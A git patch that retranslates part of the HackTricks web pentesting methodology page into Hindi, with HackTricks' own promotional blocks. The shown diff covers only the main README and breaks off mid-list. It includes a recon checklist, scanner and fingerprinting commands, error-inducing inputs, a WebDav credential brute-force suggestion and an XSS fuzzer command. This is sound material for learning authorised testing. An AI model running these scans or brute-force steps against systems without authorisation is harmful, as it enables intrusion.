From a3d0c1fe6df2f34990783da8db52a0fcb04a3531 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 31 Dec 2023 11:47:30 +0000 Subject: [PATCH] Translated ['network-services-pentesting/pentesting-web/README.md', 'net --- .../pentesting-web/README.md | 343 ++++++++---------- .../pentesting-web/buckets/README.md | 32 +- .../pentesting-web/code-review-tools.md | 261 +++++++------ .../pentesting-web/drupal.md | 146 +++----- .../electron-desktop-apps/README.md | 150 ++++---- .../pentesting-web/flask.md | 84 ++--- .../pentesting-web/graphql.md | 222 ++++++------ .../pentesting-web/gwt-google-web-toolkit.md | 96 +++-- .../pentesting-web/h2-java-sql-database.md | 46 +-- .../iis-internet-information-services.md | 144 +++++--- .../pentesting-web/jboss.md | 34 +- .../pentesting-web/moodle.md | 38 +- .../pentesting-web/nginx.md | 217 +++++------ .../pentesting-web/php-tricks-esp/README.md | 131 ++++--- .../pentesting-web/put-method-webdav.md | 122 +++---- .../pentesting-web/rocket-chat.md | 38 +- .../pentesting-web/spring-actuators.md | 159 +++++--- .../pentesting-web/uncovering-cloudflare.md | 114 +++--- .../pentesting-web/waf-bypass.md | 36 +- .../pentesting-web/web-api-pentesting.md | 197 ++++------ .../pentesting-web/werkzeug.md | 80 ++-- .../pentesting-web/wordpress.md | 263 +++++++------- pentesting-web/2fa-bypass.md | 147 ++++---- pentesting-web/cache-deception.md | 179 +++++---- pentesting-web/captcha-bypass.md | 62 ++-- 25 files changed, 1730 insertions(+), 1611 deletions(-) diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index b310b3355..494e7c3dd 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -1,26 +1,28 @@ -# 80,443 - पेंटेस्टिंग वेब मेथडोलॉजी +# 80,443 - वेब पेंटेस्टिंग पद्धति
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) -* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**. -* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें**. +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज में PRs सबमिट करके.
-**बग बाउंटी टिप**: **Intigriti** में **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाई गई है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें और **$100,000** तक की बाउंटी कमाएं! +**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही हमसे [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें! {% embed url="https://go.intigriti.com/hacktricks" %} -## मूलभूत जानकारी +## मूल जानकारी -वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और इसमें कई **विभिन्न प्रकार की सुरक्षा कमियां** मौजूद हैं। +वेब सेवा सबसे **आम और व्यापक सेवा** है और बहुत सारे **विभिन्न प्रकार की कमजोरियां** मौजूद हैं। **डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS) ```bash @@ -33,100 +35,100 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### वेब एपीआई मार्गदर्शन +### वेब API मार्गदर्शन {% content-ref url="web-api-pentesting.md" %} [web-api-pentesting.md](web-api-pentesting.md) {% endcontent-ref %} -## मेथडोलॉजी सारांश +## पद्धति सारांश -> इस मेथडोलॉजी में हम मानेंगे कि आप एक डोमेन (या सबडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस मेथडोलॉजी को प्रायोगिक डोमेन, सबडोमेन या स्कोप के भीतर अनिर्धारित वेब सर्वर के प्रत्येक खोजे गए डोमेन, सबडोमेन या आईपी पर लागू करना चाहिए। +> इस पद्धति में हम मान रहे हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल वही। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या अनिश्चित वेब सर्वर वाले IP पर लागू करना चाहिए जो स्कोप के अंदर है। -* [ ] **वेब सर्वर द्वारा उपयोग की जाने वाली तकनीकों** की **पहचान** करें। यदि आप तकनीक की पहचान सफलतापूर्वक कर सकते हैं, तो बाकी टेस्ट के दौरान ध्यान में रखने के लिए **ट्रिक्स** ढूंढें। -* [ ] क्या तकनीक के **ज्ञात संस्करण** की कोई **ज्ञात संकट** है? -* [ ] किसी **प्रसिद्ध तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी ट्रिक** है? -* [ ] कोई **विशेषीकृत स्कैनर** चलाएं (जैसे wpscan)? -* [ ] **सामान्य उद्देश्य स्कैनर** चलाएं। कभी नहीं पता चलता कि क्या वे कुछ खोजेंगे या क्या वे कुछ रोचक जानकारी खोजेंगे। -* [ ] **प्रारंभिक जांच** के साथ शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS है)। -* [ ] वेब पेज को **स्पाइडरिंग** करें: अब सम्भवतः सभी **फ़ाइलें, फ़ोल्डर** और **पैरामीटर** की खोज करें। साथ ही, **विशेष खोज** के लिए भी जांचें। -* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो उसे स्पाइडरिंग किया जाना चाहिए।_ -* [ ] **निर्देशिका ब्रूट-फोर्सिंग**: खोजें कि क्या आप नए **फ़ाइलें** और **निर्देशिकाएं** खोजने के लिए सभी खोजे गए फ़ोल्डरों को ब्रूट फ़ोर्स कर सकते हैं। -* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो उसे ब्रूट-फोर्स किया जाना चाहिए।_ -* [ ] **बैकअप जांच**: परीक्षण करें कि क्या आप **खोजी गई फ़ाइलों** के **बैकअप** का पता लगा सकते हैं जो सामान्य बैकअप एक्सटेंशन जोड़कर होते हैं। -* [ ] **पैरामीटर ब्रूट-फोर्सिंग**: **छिपे हुए पैरामीटर** खोजने का प्रयास करें। -* [ ] जब आपने सभी संभावित **एंडपॉइंट्स** की **पहचान** कर ली हो जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इसके संबंध में सभी प्रकार के **संकट** की जांच करें। +* [ ] वेब सर्वर द्वारा प्रयुक्त **प्रौद्योगिकियों** की **पहचान** करने से शुरू करें। यदि आप प्रौद्योगिकी की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के दौरान ध्यान में रखने के लिए **चालें** खोजें। +* [ ] क्या प्रौद्योगिकी के संस्करण की कोई **ज्ञात कमजोरी** है? +* [ ] क्या कोई **प्रसिद्ध तकनीक** प्रयोग की जा रही है? क्या कोई **उपयोगी चाल** है जिससे अधिक जानकारी निकाली जा सकती है? +* [ ] क्या कोई **विशेषज्ञ स्कैनर** चलाने के लिए है (जैसे कि wpscan)? +* [ ] **सामान्य उद्देश्य स्कैनर्स** लॉन्च करें। आपको कभी नहीं पता कि वे कुछ खोज पाएंगे या कुछ दिलचस्प जानकारी मिलेगी। +* [ ] **प्रारंभिक जांच** के साथ शुरू करें: **robots**, **sitemap**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)। +* [ ] वेब पेज की **स्पाइडरिंग** शुरू करें: यह समय है सभी संभावित **फाइलों, फोल्डरों** और **पैरामीटर्स** को खोजने का जो प्रयोग किए जा रहे हैं। साथ ही, **विशेष खोजों** की जांच करें। +* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नई डायरेक्टरी की खोज की जाती है, उसे स्पाइडर किया जाना चाहिए।_ +* [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: नई **फाइलों** और **डायरेक्टरीज** की खोज के लिए सभी खोजी गई फोल्डरों को ब्रूट फोर्स करने की कोशिश करें। +* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नई डायरेक्टरी की खोज की जाती है, उसे ब्रूट-फोर्स किया जाना चाहिए।_ +* [ ] **बैकअप्स जांच**: टेस्ट करें कि क्या आप सामान्य बैकअप एक्सटेंशन जोड़कर **खोजी गई फाइलों** के **बैकअप्स** पा सकते हैं। +* [ ] **पैरामीटर्स ब्रूट-फोर्स**: छिपे हुए पैरामीटर्स को **खोजने** की कोशिश करें। +* [ ] एक बार जब आप सभी संभावित **एंडपॉइंट्स** की पहचान कर लेते हैं जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इससे संबंधित सभी प्रकार की **कमजोरियों** की जांच करें। * [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology/) -## सर्वर संस्करण (गद्यात्मक?) +## सर्वर संस्करण (कमजोर?) ### पहचान -जांचें कि चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात संकट** हैं या नहीं।\ -**प्रतिक्रिया के HTTP हैडर और कुकीज़** तकनीकों और/या संस्करण की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन इसके लिए उपयोगी हो सकते हैं टूल्स [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:** +जांचें कि क्या सर्वर **संस्करण** के लिए कोई **ज्ञात कमजोरियां** हैं जो चल रहा है।\ +**HTTP हेडर्स और कुकीज का जवाब** प्रौद्योगिकियों और/या **संस्करण** की पहचान करने के लिए बहुत उपयोगी हो सकता है। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) या [**https://builtwith.com/**](https://builtwith.com) जैसे उपकरण भी उपयोगी हो सकते हैं: ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -वेब एप्लिकेशन के संस्करण की कमजोरियों की खोज के लिए खोजें +वेब एप्लिकेशन के **संस्करण** की [**कमजोरियों की खोज**](../../generic-methodologies-and-resources/search-exploits.md) करें -### क्या कोई WAF है +### **क्या कोई WAF है जांचें** -* [https://github.com/EnableSecurity/wafw00f](https://github.com/EnableSecurity/wafw00f) -* [https://github.com/Ekultek/WhatWaf.git](https://github.com/Ekultek/WhatWaf.git) -* [https://nmap.org/nsedoc/scripts/http-waf-detect.html](https://nmap.org/nsedoc/scripts/http-waf-detect.html) +* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) +* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) +* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### वेब तकनीक ट्रिक्स +### वेब टेक ट्रिक्स -विभिन्न ज्ञात तकनीकों में कमजोरियों की खोज के लिए कुछ ट्रिक्स: +विभिन्न प्रसिद्ध **प्रौद्योगिकियों** में **कमजोरियों की खोज** के लिए कुछ **ट्रिक्स**: -* [AEM - Adobe Experience Cloud](aem-adobe-experience-cloud.md) -* [Apache](apache.md) -* [Artifactory](artifactory-hacking-guide.md) -* [Buckets](buckets/) -* [CGI](cgi.md) -* [Drupal](drupal.md) -* [Flask](flask.md) -* [Git](git.md) -* [Golang](golang.md) -* [GraphQL](graphql.md) -* [H2 - Java SQL डेटाबेस](h2-java-sql-database.md) -* [IIS ट्रिक्स](iis-internet-information-services.md) -* [JBOSS](jboss.md) -* [Jenkins](broken-reference/) -* [Jira](jira.md) -* [Joomla](joomla.md) -* [JSP](jsp.md) -* [Laravel](laravel.md) -* [Moodle](moodle.md) -* [Nginx](nginx.md) -* [PHP (php में बहुत सारी दिलचस्प ट्रिक्स हो सकती हैं जो उत्पन्न की जा सकती हैं)](php-tricks-esp/) -* [Python](python.md) -* [Spring Actuators](spring-actuators.md) -* [Symphony](symphony.md) -* [Tomcat](tomcat.md) -* [VMWare](vmware-esx-vcenter....md) -* [Web API Pentesting](web-api-pentesting.md) -* [WebDav](put-method-webdav.md) -* [Werkzeug](werkzeug.md) -* [Wordpress](wordpress.md) -* [Electron Desktop (XSS to RCE)](electron-desktop-apps/) +* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) +* [**Apache**](apache.md) +* [**Artifactory**](artifactory-hacking-guide.md) +* [**Buckets**](buckets/) +* [**CGI**](cgi.md) +* [**Drupal**](drupal.md) +* [**Flask**](flask.md) +* [**Git**](git.md) +* [**Golang**](golang.md) +* [**GraphQL**](graphql.md) +* [**H2 - Java SQL डेटाबेस**](h2-java-sql-database.md) +* [**IIS ट्रिक्स**](iis-internet-information-services.md) +* [**JBOSS**](jboss.md) +* [**Jenkins**](broken-reference/) +* [**Jira**](jira.md) +* [**Joomla**](joomla.md) +* [**JSP**](jsp.md) +* [**Laravel**](laravel.md) +* [**Moodle**](moodle.md) +* [**Nginx**](nginx.md) +* [**PHP (php में बहुत सारी रोचक ट्रिक्स होती हैं जिनका शोषण किया जा सकता है)**](php-tricks-esp/) +* [**Python**](python.md) +* [**Spring Actuators**](spring-actuators.md) +* [**Symphony**](symphony.md) +* [**Tomcat**](tomcat.md) +* [**VMWare**](vmware-esx-vcenter....md) +* [**Web API Pentesting**](web-api-pentesting.md) +* [**WebDav**](put-method-webdav.md) +* [**Werkzeug**](werkzeug.md) +* [**Wordpress**](wordpress.md) +* [**Electron Desktop (XSS से RCE)**](electron-desktop-apps/) -_ध्यान दें कि **एक ही डोमेन** अलग-अलग **तकनीकों** का उपयोग कर सकता है जो अलग-अलग **पोर्ट**, **फ़ोल्डर** और **सबडोमेन** में हो सकती हैं।_\ -यदि वेब एप्लिकेशन किसी भी ज्ञात **तकनीक/प्लेटफ़ॉर्म** का उपयोग कर रही है जो पहले सूचीबद्ध है या **किसी अन्य** का उपयोग कर रही है, तो इंटरनेट पर नई ट्रिक्स खोजना न भूलें (और मुझे बताएं!)। +_ध्यान रखें कि **एक ही डोमेन** विभिन्न **पोर्ट्स**, **फोल्डर्स** और **सबडोमेन्स** में विभिन्न **प्रौद्योगिकियों** का उपयोग कर सकता है।_\ +यदि वेब एप्लिकेशन पहले सूचीबद्ध किसी भी प्रसिद्ध **तकनीक/प्लेटफॉर्म** या **किसी अन्य** का उपयोग कर रहा है, तो नई ट्रिक्स की **इंटरनेट पर खोज** करना न भूलें (और मुझे बताएं!). -### स्रोत कोड समीक्षा +### सोर्स कोड रिव्यू -यदि एप्लिकेशन का **स्रोत कोड** github में उपलब्ध है, तो एप्लिकेशन के लिए **अपने आप एक व्हाइट बॉक्स टेस्ट** करने के अलावा **कुछ जानकारी** है जो मौजूदा **काले बॉक्स टेस्टिंग** के लिए **उपयोगी** हो सकती है: +यदि एप्लिकेशन का **सोर्स कोड** **github** में उपलब्ध है, तो एप्लिकेशन का **आपके द्वारा व्हाइट बॉक्स टेस्ट** करने के अलावा, वर्तमान **ब्लैक-बॉक्स टेस्टिंग** के लिए कुछ **जानकारी** **उपयोगी** हो सकती है: -* क्या कोई **चेंज-लॉग या रीडमी या संस्करण** फ़ाइल है या कोई ऐसी फ़ाइल जिसमें संस्करण संबंधी जानकारी वेब के माध्यम से उपलब्ध है? -* क्रेडेंशियल्स कैसे और कहां सहेजे जाते हैं? क्या कोई (उपलब्ध?) फ़ाइल है जिसमें क्रेडेंशियल्स (उपयोगकर्ता नाम या पासवर्ड) हो सकते हैं? -* पासवर्ड क्या **सादा पाठ**, **एन्क्रिप्टेड** हैं या कौन सा **हैशिंग एल्गोरिदम** उपयोग किया जाता है? -* क्या इसका कोई **मास्टर की** उपयोग हो रहा है? कौन सा **एल्गोरिदम** उपयोग किया जाता है? -* क्या आप **किसी भी ऐसी फ़ाइल तक पहुंच सकते** हैं जिसमें कोई कमजोरी हो सकती है? -* क्या github में कोई **दिलचस्प जानकारी** है (हल की गई और नहीं हल की गई) **मुद्दों** में? या **कमिट इतिहास** में (शायद कोई पुराने कमिट में दर्ज किए गए कुछ **पासवर्ड**)? +* क्या वेब के माध्यम से सुलभ **संस्करण जानकारी** के साथ कोई **Change-log या Readme या Version** फाइल है? +* **प्रमाण-पत्र** कहाँ और कैसे सहेजे जाते हैं? क्या कोई (सुलभ?) **फाइल** प्रमाण-पत्रों (उपयोगकर्ता नाम या पासवर्ड) के साथ है? +* क्या **पासवर्ड** **सादे पाठ** में हैं, **एन्क्रिप्टेड** हैं या कौन सा **हैशिंग एल्गोरिथम** इस्तेमाल किया जाता है? +* क्या यह किसी **मास्टर की** का उपयोग कुछ एन्क्रिप्ट करने के लिए कर रहा है? कौन सा **एल्गोरिथम** इस्तेमाल किया जाता है? +* क्या आप किसी कमजोरी का शोषण करके इनमें से किसी **फाइल तक पहुँच सकते हैं**? +* क्या **github में कोई दिलचस्प जानकारी** (हल किए गए और नहीं किए गए) **मुद्दे** हैं? या **कमिट इतिहास** में (शायद किसी पुराने कमिट में डाला गया कोई **पासवर्ड**)? {% content-ref url="code-review-tools.md" %} [code-review-tools.md](code-review-tools.md) @@ -134,7 +136,7 @@ _ध्यान दें कि **एक ही डोमेन** अलग- ### स्वचालित स्कैनर -#### सामान्य उद्देश्य स्वचालित स्कैनर +#### सामान्य उद्देश्य के स्वचालित स्कैनर ```bash nikto -h whatweb -a 4 @@ -146,12 +148,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS स्कैनर +#### CMS स्कैनर्स -यदि कोई CMS का उपयोग किया जाता है, तो एक स्कैनर चलाना न भूलें, शायद कुछ रोचक मिल जाए: +यदि CMS का उपयोग किया जा रहा है तो स्कैनर **चलाना न भूलें**, शायद कुछ रसीला मिल जाए: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा समस्याओं के लिए। (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** वेबसाइट्स के सुरक्षा मुद्दों के लिए। (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **या** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -161,45 +163,43 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> इस बिंदु पर, आपके पास क्लाइंट द्वारा उपयोग किए जाने वाले वेब सर्वर की कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया हो) और परीक्षण के दौरान ध्यान में रखने के कुछ ट्रिक्स होनी चाहिए। यदि आप भाग्यशाली हैं, तो आपने शायद एक सीएमएस खोज ली होगी और कुछ स्कैनर चला दिया होगा। +## कदम-दर-कदम वेब एप्लिकेशन डिस्कवरी -## चरण-दर-चरण वेब एप्लिकेशन खोज +> इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करेंगे। -> इस बिंदु से हम वेब एप्लिकेशन के साथ संवाद शुरू करेंगे। +### प्रारंभिक जांच -### प्राथमिक जांचें - -**रोबोट्स टेक्स्ट फ़ाइल:** +**डिफ़ॉल्ट पृष्ठ जिनमें दिलचस्प जानकारी हो सकती है:** * /robots.txt * /sitemap.xml * /crossdomain.xml * /clientaccesspolicy.xml * /.well-known/ -* मुख्य और द्वितीय पृष्ठों में टिप्पणियों की भी जांच करें। +* मुख्य और द्वितीयक पृष्ठों में टिप्पणियों की भी जांच करें। -**त्रुटि को बलवान बनाना** +**त्रुटियों को प्रेरित करना** -जब अजीब डेटा उन्हें भेजा जाता है, तो वेब सर्वर **अप्रत्याशित ढंग से व्यवहार कर सकते हैं**। इससे **सुरक्षा कमजोर हो सकती है** या **संवेदनशील जानकारी उजागर की जा सकती है**। +वेब सर्वर अप्रत्याशित रूप से **व्यवहार कर सकते हैं** जब उन्हें अजीब डेटा भेजा जाता है। इससे **भेद्यताएं** खुल सकती हैं या **संवेदनशील जानकारी का लीक** हो सकता है। -* /whatever\_fake.php (.aspx,.html,.etc) जैसे **फ़र्ज़ी पृष्ठों** तक पहुंचें -* कुकी मानों और पैरामीटर मानों में **"\[]", "]]", और "\[\["** जोड़ें ताकि त्रुटि पैदा की जा सके +* /whatever\_fake.php (.aspx,.html,.etc) जैसे **नकली पृष्ठों** तक पहुंचें +* **कुकी मूल्यों** और **पैरामीटर** मूल्यों में "\[]", "]]", और "\[\[" **जोड़ें** त्रुटियां उत्पन्न करने के लिए * **URL** के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें -* PATCH, DEBUG जैसे **विभिन्न HTTP वर्ब** का प्रयास करें या गलत वर्ब जैसे FAKE का प्रयास करें +* PATCH, DEBUG या गलत जैसे FAKE की तरह **विभिन्न HTTP Verbs** का प्रयास करें -#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT वर्ब, WebDav**](put-method-webdav.md)**)** +#### **जांचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -यदि आपको पता चलता है कि **WebDav** सक्षम है लेकिन आपके पास मूल फ़ोल्डर में **फ़ाइलें अपलोड करने के लिए पर्याप्त अनुमति नहीं है**, तो निम्न कोशिश करें: +यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास रूट फोल्डर में **फाइलें अपलोड करने की पर्याप्त अनुमतियां नहीं हैं**, तो प्रयास करें: -* प्रमाण पत्रों को **ब्रूट फ़ोर्स** करें -* WebDav के माध्यम से फ़ाइलें **अपलोड करें** वेब पृष्ठ के अंदर मिले **अन्य फ़ोल्डरों** में। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है। +* **Brute Force** प्रमाणीकरण +* वेब पेज के अंदर **पाए गए फोल्डरों के शेष** में WebDav के माध्यम से **फाइलें अपलोड करें**। आपके पास अन्य फोल्डरों में फाइलें अपलोड करने की अनुमतियां हो सकती हैं। -### **SSL/TLS सुरक्षा कमजोरियाँ** +### **SSL/TLS भेद्यताएं** -* यदि एप्लिकेशन किसी भी हिस्से में HTTPS का उपयोग करने के लिए **बाध्य नहीं कर रहा है**, तो यह **MitM के लिए संकटग्रस्त** है -* यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च संकटग्रस्तता है। +* यदि एप्लिकेशन **HTTPS का उपयोग करने के लिए उपयोगकर्ता को मजबूर नहीं कर रहा है** किसी भी भाग में, तो यह **MitM के लिए भेद्य है** +* यदि एप्लिकेशन **संवेदनशील डेटा (पासवर्ड) HTTP का उपयोग करके भेज रहा है**। तो यह एक उच्च भेद्यता है। -**विकुल्नताओं** की जांच के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस तरह की विकुल्नताएं स्वीकार नहीं की जाएंगी) और विकुल्नताओं की पुनरावृत्ति के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें: +[**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें जो **भेद्यताओं** की जांच करता है (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की भेद्यताएं स्वीकार नहीं की जाएंगी) और [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करके भेद्यताओं की पुनः जांच करें: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -208,100 +208,55 @@ joomlavs.rb #https://github.com/rastating/joomlavs sslscan sslyze --regular ``` -SSL/TLS की कमजोरियों के बारे में जानकारी: +SSL/TLS संवेदनशीलताओं के बारे में जानकारी: * [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) * [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) -### स्पाइडरिंग +### Spidering -वेब के अंदर किसी भी प्रकार के **स्पाइडर** को शुरू करें। स्पाइडर का उद्देश्य टेस्ट किए गए एप्लिकेशन से **ज्यादा से ज्यादा पथ खोजना** है। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके ज्यादा से ज्यादा मान्य पथ खोजने के लिए उपयोग किया जाना चाहिए। +वेब के अंदर किसी प्रकार का **spider** लॉन्च करें। Spider का उद्देश्य परीक्षण किए गए एप्लिकेशन से **यथासंभव अधिक पथों का पता लगाना** है। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके यथासंभव वैध पथों का पता लगाना चाहिए। -* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML स्पाइडर, JS फ़ाइलों और बाहरी स्रोतों (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) में LinkFinder का उपयोग करता है। -* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों और Archive.org में LinkFider का उपयोग करता है। -* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "juicy files" भी दर्शाता है। -* [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है। -* [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल एक स्पाइडर नहीं है, लेकिन यह उपयोगी हो सकता है। आप बस होस्ट के साथ एक फ़ाइल और पथ के साथ एक फ़ाइल निर्दिष्ट कर सकते हैं और मेग हर होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया सहेजेगा। -* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालांकि, ऐसा लगता है कि यह अनुरक्षित है, पूर्व-कंपाइल की गई संस्करण पुरानी है और वर्तमान कोड को कंपाइल नहीं करता है। -* [**gau**](https://github.com/lc/gau) (go): बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करने वाला HTML स्पाइडर। -* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट पैरामीटर के साथ यूआरएल खोजेगा और उन्हें सूचीबद्ध करेगा। -* [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML 